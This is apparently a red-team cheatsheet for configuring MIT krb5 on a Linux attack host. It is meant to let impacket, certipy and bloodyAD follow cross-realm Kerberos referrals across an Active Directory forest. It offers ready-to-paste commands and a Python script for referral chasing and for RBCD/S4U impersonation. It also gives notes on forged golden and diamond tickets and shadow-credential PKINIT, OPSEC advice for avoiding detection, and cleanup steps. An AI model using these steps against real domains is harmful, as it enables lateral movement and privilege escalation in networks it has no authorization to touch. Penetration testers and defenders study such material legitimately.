krb5.conf Realm Config & Cross-Realm TGT Referral on Linux β Cheatsheet¶
Purpose: Configure the native MIT krb5 client on a domain-joined Linux attack box so impacket/certipy/bloodyAD correctly resolve realms, find the right KDCs, and chase cross-realm (childβparentβsibling) TGS referrals in a multi-domain forest β and recognize when a failure is config vs a policy block.
Prereqs / context: Operator works from <ATTACKER_HOST> (<ATTACKER_HOST>$, keytab /etc/krb5.keytab), Linux-first, Kerberos-only (ccaches via KRB5CCNAME). Target is a forest with a root domain <PARENT> and several sibling child domains (<CHILD1>, <CHILD2>, β¦) β each child is its own realm with its own KDCs. All commands are single-line (paste-safe). Realms are written UPPERCASE FQDN; domains lowercase.
1. Baseline /etc/krb5.conf β libdefaults knobs that matter¶
# /etc/krb5.conf β the knobs below prevent the SPN-mismatch / wrong-KDC failures that waste hours
[libdefaults]
default_realm = <CHILD1> # UPPERCASE FQDN of the realm you authenticate FROM (e.g. CHILD1.CORP.LOCAL)
dns_lookup_kdc = true # find KDCs via _kerberos._tcp SRV records (turn off + pin kdc= when DNS is hostile)
dns_lookup_realm = false # don't trust DNS to map host then realm; we define [domain_realm] explicitly
dns_canonicalize_hostname = false # do NOT let the resolver rewrite the SPN host then avoids "wrong" cifs/<canonical> SPNs
rdns = false # never reverse-resolve IP then name for the SPN (PTR records lie then KDC_ERR_S_PRINCIPAL_UNKNOWN)
udp_preference_limit = 1 # force TCP; big PACs (forest group memberships) fragment over UDP and silently fail
ticket_lifetime = 10h
renew_lifetime = 7d
forwardable = true # needed for S4U2proxy / delegation chains
canonicalize = true # let AD return name_canonicalize referrals (normal for cross-realm)
Why these four (
dns_canonicalize_hostname=false,rdns=false,dns_lookup_realm=false,udp_preference_limit=1) are non-negotiable: AD service tickets are bound to the exact SPN string. Any client-side canonicalization or PTR rewrite produces an SPN the KDC has never heard of βKDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database), which looks like a target problem but is your resolver.
2. [realms] β one stanza per domain, with explicit KDCs¶
[realms]
<PARENT> = { # forest root realm, e.g. CORP.LOCAL
kdc = <DC_FQDN> # a writable root DC (FQDN, resolvable). add several for resilience
kdc = <DC_FQDN>
admin_server = <DC_FQDN>
}
<CHILD1> = { # e.g. CHILD1.CORP.LOCAL
kdc = <DC_FQDN>
kdc = <DC_FQDN>
}
<CHILD2> = { # sibling child, separate KDCs
kdc = <DC_FQDN>
}
# Verify what SRV-based discovery would pick (when dns_lookup_kdc=true) before hardcoding kdc= lines
nslookup -type=SRV _kerberos._tcp.dc._msdcs.<DOMAIN> # lists each domain's KDCs; cross-check against your kdc= entries
# Pin KDCs by /etc/hosts when DNS is unreliable but you know the IPs (single line each)
getent hosts <DC_FQDN> # confirm FQDN then IP resolves to the DC you intend to hit
If
dns_lookup_kdc=false, every realm you touch (including the forest root for referral chasing) must have explicitkdc=lines or you getCannot find KDC for realm.
3. [domain_realm] β map DNS suffixes AND stray hosts to realms¶
[domain_realm]
.<DOMAIN_PARENT> = <PARENT> # .corp.local then CORP.LOCAL (leading dot = suffix match)
<DOMAIN_PARENT> = <PARENT> # corp.local then CORP.LOCAL (the apex itself)
.<DOMAIN_CHILD1> = <CHILD1> # .child1.corp.local then CHILD1.CORP.LOCAL
<DOMAIN_CHILD1> = <CHILD1>
.<DOMAIN_CHILD2> = <CHILD2>
<DOMAIN_CHILD2> = <CHILD2>
# CRITICAL: a host whose DNS suffix does NOT match its Kerberos realm (very common in AD: a box in zone
# corp.local that is actually joined to CHILD1). Without this line the client targets the wrong KDC.
<TARGET>.<DOMAIN_PARENT> = <CHILD1>
# Find the right-hand side: which realm does a target host actually live in? Ask AD, not DNS.
bloodyAD -d <DOMAIN> -k --host <DC_FQDN> get object '<TARGET>$' --attr distinguishedName # DC=... tail = the realm
This stanza is why
host/<TARGET_FQDN>/cifs/<TARGET_FQDN>SPNs resolve to the correct KDC. Get it wrong and impacket sends the TGS-REQ to the wrong realm's KDC βKDC_ERR_WRONG_REALM(Reserved for future use).
4. [capaths] β the trust path for cross-realm referral chasing¶
In a forest, sibling child β sibling child transits the forest root. MIT krb5 will not infer this; you must spell out the chain or referral chasing for sibling domains fails.
[capaths]
# Read each block as: "to reach the realm on the LEFT, from a realm on the RIGHT, hop through ..."
<CHILD1> = {
<CHILD2> = <PARENT> # CHILD1 then CHILD2 goes via the forest root PARENT
<PARENT> = . # CHILD1 then PARENT is a DIRECT trust ( . = no intermediate )
}
<CHILD2> = {
<CHILD1> = <PARENT> # and the reverse, also via root
<PARENT> = .
}
<PARENT> = {
<CHILD1> = . # root then each child is direct
<CHILD2> = .
}
# Sanity-check the chain end to end: from your default_realm, request a service ticket in a sibling child.
KRB5_TRACE=/dev/stdout kvno cifs/<TARGET>.<DOMAIN_CHILD2> # trace shows each referral hop + which realm's krbtgt is used
klist -e # confirm you collected krbtgt/<CHILD2>@<PARENT> then cifs/...@<CHILD2>
Symptom of missing/wrong
[capaths]: the referral dies at the first hop (KDC_ERR_WRONG_REALM, or "cannot find KDC for realm"), even though the same cifs/ticket against your own realm works fine. A correct chain shows intermediatekrbtgt/<NEXT>@<CURRENT>tickets accumulating inklist.
5. Driving cross-realm TGS referrals from the CLI¶
# 0) Get a TGT in your home realm (keytab is cleanest for a domain-joined box)
kinit -k '<ATTACKER_HOST>$' # AS-REQ from /etc/krb5.keytab then TGT in default_realm
klist # default principal should be <ATTACKER_HOST>$@<CHILD1>
# 1) Cross-realm service ticket via the native stack (krb5 chases the referral using [capaths])
kvno cifs/<TARGET>.<DOMAIN_CHILD2> # ask for a service in the SIBLING realm; krb5 walks CHILD1 then PARENT then CHILD2
# 2) Drive it through a tool β point the tool at the FINAL service's KDC, not your home KDC
KRB5CCNAME=<USER>.ccache nxc smb <TARGET>.<DOMAIN_CHILD2> -k # uses the referral ticket already in the ccache
# 3) certipy across realms: -target is the host whose realm you're entering; -dc-ip must be THAT realm's DC
KRB5CCNAME=<USER>.ccache certipy find -k -no-pass -target <DC_FQDN> -dc-ip <DC_IP> -stdout # DC_IP = sibling realm's DC
# Swap krb5.conf per-realm without touching the system file (run several realms back-to-back)
KRB5_CONFIG=/opt/krb/<CHILD2>.krb5.conf KRB5CCNAME=<USER>.ccache getST.py -k -no-pass -spn cifs/<TARGET>.<DOMAIN_CHILD2> -dc-ip <DC_IP> <DOMAIN_CHILD2>/<USER>
# Inspect etypes + which KDC actually answered (the "Kdc Called" / skey lines tell you RC4 vs AES on the trust)
klist -e # skey DEPRECATED:arcfour-hmac on a referral ticket = RC4 inter-realm trust
6. Targeting the RIGHT KDC with -dc-ip (and why one IP isn't enough)¶
impacket takes a single -dc-ip and uses it for the whole exchange β it does not re-resolve a second KDC when AD hands back a cross-realm referral. dirkjanm's rule: "impacket can only specify one DC IP, which breaks when following referrals."
# Intra-realm: -dc-ip = the KDC of the target's realm. Pin LDAP and KDC to the SAME DC for write-then-use flows.
KRB5CCNAME=<USER>.ccache bloodyAD -d <DOMAIN> -k --host <DC_FQDN> add rbcd '<TARGET>$' '<FOOTHOLD>$' # LDAP write on DC_A
KRB5CCNAME=<FOOTHOLD>.ccache getST.py -spn cifs/<TARGET>.<DOMAIN> -impersonate <SVC> -k -no-pass -dc-ip <DC_IP> <DOMAIN>/'<FOOTHOLD>$' # S4U on the SAME DC_A
# Manual two-step referral chase (the impacket-single-dc-ip workaround) β save as referral_chase.py, run with your TGT ccache:
#!/usr/bin/env python3
# referral_chase.py β split the cross-realm TGS across two KDCs that impacket's one -dc-ip can't span
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGS
from impacket.krb5.types import Principal
from impacket.krb5 import constants
CHILD_KDC = '<DC_IP>' # KDC of YOUR realm (issues the referral TGT)
ROOT_KDC = '<DC_IP>' # KDC of the NEXT realm in the chain (forest root, then re-chase for siblings)
cc = CCache.loadFile('<USER>.ccache')
TGT = cc.credentials[0].toTGT() # NB: toTGT() returns a dict, not a tuple
tgt, cipher, sk = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']
# Step 1: ask your KDC for krbtgt/<NEXT_REALM>, returns a referral TGT
ref = Principal('krbtgt/<PARENT>', type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, c2, _, nk = getKerberosTGS(ref, '<DOMAIN_CHILD1>', CHILD_KDC, tgt, cipher, sk)
# Step 2: present the referral TGT to the next realm's KDC for the real service
svc = Principal('cifs/<TARGET>.<DOMAIN_PARENT>', type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs2, c3, _, nk3 = getKerberosTGS(svc, '<PARENT>', ROOT_KDC, tgs, c2, nk)
out = CCache(); out.fromTGS(tgs2, nk3, nk3); out.saveFile('referral.ccache') # KRB5CCNAME=referral.ccache for the next tool
For sibling-to-sibling, run Step 1 twice (CHILD1βPARENT, then PARENTβCHILD2). Or just install the right
[capaths]and let the nativekvno/kliststack chase it, then hand the resulting ccache to impacket with-k -no-pass(impacket happily uses a referral ticket it didn't fetch).
What Went Wrong¶
-
KDC policy rejects request/KDC_ERR_POLICYon a cross-realm host β this is a POLICY block, not krb5.conf. A cross-realm user (<USER>@<CHILD2>) could obtain the service ticket against a host in<CHILD1>βkvno HTTP/<TARGET>.<DOMAIN_CHILD1>returnedkvno = 14, AES256, ticket cached β but the actual WinRM auth failed:Minor (...): KDC policy rejects request. The automation/AWX controllers sit behind an Authentication Policy Silo (AllowedToAuthenticateTo) that refuses cross-realm principals. Your referral config is correct (you got the ticket); the estate is enforcing tiering at the KDC. Don't burn time editing krb5.conf β pivot (we got in via a soft SCCM-managed node instead). Tell:kvnosucceeds but the connect dies withKDC_ERR_POLICY. -
KDC_ERR_WRONG_REALM(Reserved for future use)cross-realm. Three independent causes we hit: (1) a stale referral ticket left in the ccache (krbtgt/<CHILD1>@<PARENT>for an old principal) that impacket picked over the fresh one β wipe the ccache; (2)-dc-ippassed a hostname instead of an IP; (3) a DC name mismatch (the FQDN in the request didn't match the DC actually answering). Also surfaced duringcertipy findCA-config over CSRA/RRP against sibling-domain CAs (-target <DC_FQDN>in another realm) β fixed by correct[domain_realm]+[capaths]so the RPC service ticket is requested in the right realm. -
KRB_AP_ERR_MODIFIED(Message stream modified)after a referral succeeds. The cross-realm trust is RC4 β the referral ticket came back withskey: DEPRECATED:arcfour-hmac(visible inklist -e). Native Windows handles RC4 trusts fine, but impacket's use of the RC4 inter-realm session key fails integrity validation against a hardened target service. Confirm withklist -e; if the session key is RC4, prefer a path that avoids the cross-realm hop entirely (e.g. writemsDS-KeyCredentialLinkon the target via LDAP and PKINIT directly into the target realm β no referral). Note:KRB_AP_ERR_MODIFIEDis an integrity/decrypt failure, not an authorization denial β a policy refusal would beKDC_ERR_POLICY/BADOPTION, not "message stream modified." -
BADOPTIONfrom replication lag (not a config error). We wrote an RBCD ACE on<DC_FQDN>(DC_A) then ran the S4U against a different DC of the same domain (DC_B) before it replicated β its KDC hadn't seen the trustee yet. Fix: pin the same DC for the LDAP write and the S4U with matching--host/-dc-ip, or wait for convergence. Always check which DC each tool is hitting before blaming delegation. -
KDC_ERR_S_PRINCIPAL_UNKNOWN/KDC_ERR_C_PRINCIPAL_UNKNOWN. Server-unknown was ourrdns/canonicalization rewriting the SPN host βrdns=false,dns_canonicalize_hostname=falsefixed it. Client-unknown was an unqualified principal: bareAdministratorfailed;Administrator@<DOMAIN>(fully realm-qualified) succeeded. Always realm-qualify the impersonated/cross-realm principal. -
Forged tickets die on cross-realm referral (
0x520on Windows / purge). A golden/diamond TGT with no validPAC_REQUESTOR(type 18) is accepted intra-realm (the child KDC re-signs with the krbtgt key you hold) but rejected during the referral TGS-REQ by KB5020009-patched KDCs. krb5.conf can't fix this β it's PAC content. Use a diamond ticket that preserves the KDC-issuedPAC_REQUESTOR/PAC_ATTRIBUTES, or sidestep cross-realm via shadow-cred β PKINIT directly into the target realm.
Detection / OPSEC¶
- Cross-realm TGS-REQs are logged on the referring and target KDCs (4769, with the
krbtgt/<NEXT_REALM>service name and the requesting realm) β a Linux box pulling tickets across multiple child realms in seconds is anomalous. Prefer fetching only the tickets you need; reuse the ccache. KRB5_TRACE=/dev/stdoutis local-only (stderr of your tool) β safe for debugging, leaks nothing to the wire.udp_preference_limit=1pushes everything to TCP/88 β quieter than fragmented UDP and avoids retries that double your 4768/4769 footprint.KDC_ERR_POLICYhits against silo-protected hosts generate failed-auth telemetry on the target; don't hammer an automation controller once you've seen the policy block β it's a tripwire.
Cleanup¶
- Per-realm ccaches accumulate fast:
klist -lto list, then remove the working ccaches you created (e.g.referral.ccache,<USER>.ccache,<FOOTHOLD>.ccache).kdestroy -Aclears all collections. - If you edited
/etc/krb5.conf, restore the original (keep a.bak); prefer per-runKRB5_CONFIG=/opt/krb/<REALM>.krb5.confso the system file stays clean and there's nothing to revert. - Any
msDS-KeyCredentialLink/ RBCD / SPN writes used to avoid the cross-realm hop are separate artifacts β track and revert them in your write log.
References¶
- MIT Kerberos β krb5.conf reference ([libdefaults], [realms], [domain_realm], [capaths]): https://web.mit.edu/kerberos/krb5-latest/doc/admin/conf_files/krb5_conf.html
- MIT Kerberos β capaths / transit path configuration: https://web.mit.edu/kerberos/krb5-latest/doc/admin/realm_config.html
- dirkjanm β Active Directory forest trusts part 2 (referral chasing, impacket single-dc-ip limitation): https://dirkjanm.io/active-directory-forest-trusts-part-two-trust-transitivity/
- The Hacker Recipes β Kerberos (referrals, S4U, cross-domain): https://www.thehacker.recipes/ad/movement/kerberos/
- Impacket (getST/getTGT/ticketer,
-dc-ip,-k -no-pass): https://github.com/fortra/impacket - Microsoft β Authentication Policies and Authentication Policy Silos (the
KDC_ERR_POLICYcross-realm block): https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/how-to-configure-protected-accounts - MS KB5020009 β PAC_REQUESTOR enforcement on cross-realm referral: https://support.microsoft.com/en-us/topic/kb5020009